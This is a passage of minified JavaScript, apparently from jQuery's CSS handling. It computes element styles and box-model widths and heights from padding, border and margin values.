s&&(i=s.get(e,!0,n)),i===undefined&&(i=vt(e,t,r)),"normal"===i&&t in St&&(i=St[t]),""===n||n?(o=parseFloat(i),n===!0||x.isNumeric(o)?o||0:i):i}}),vt=function(e,t,n){var r,i,o,s=n||qt(e),a=s?s.getPropertyValue(t)||s[t]:undefined,u=e.style;return s&&(""!==a||x.contains(e.ownerDocument,e)||(a=x.style(e,t)),Ct.test(a)&&wt.test(t)&&(r=u.width,i=u.minWidth,o=u.maxWidth,u.minWidth=u.maxWidth=u.width=a,a=s.width,u.width=r,u.minWidth=i,u.maxWidth=o)),a};function Ot(e,t,n){var r=Tt.exec(t);return r?Math.max(0,r[1]-(n||0))+(r[2]||"px"):t}function Ft(e,t,n,r,i){var o=n===(r?"border":"content")?4:"width"===t?1:0,s=0;for(;4>o;o+=2)"margin"===n&&(s+=x.css(e,n+jt[o],!0,i)),r?("content"===n&&(s-=x.css(e,"padding"+jt[o],!0,i)),"margin"!==n&&(s-=x.css(e,"border"+jt[o]+"Width",!0,i))):(s+=x.css(e,"padding"+jt[o],!0,i),"padding"!==n&&(s+=x.css(e,"border"+jt[o]+"Width",!0,i)));return s}function Pt(e,t,n){var r=!0,i="width"===t?e.offsetWidth:e.offsetHeight,o=qt(e),s=x.support.boxSizing&&"border-box"===x.css(e,"boxSizing",!1,o);if(0>=i||null==i){if(i=vt(e,t,o),(0>i||null==i)&&(i=e.style[t]),Ct.test(i))return i;r=s&&(x.support.boxSizingReliable||i===e.style[t]),i=parseFloat(i)||0}return i+Ft(e,t,n||(s?"border":"content"),r,o)+"px"}function Rt(e){var t=o,n=Nt[e];return n||(n=Mt(e,t),"none"!==n&&n||(xt=(xt||x("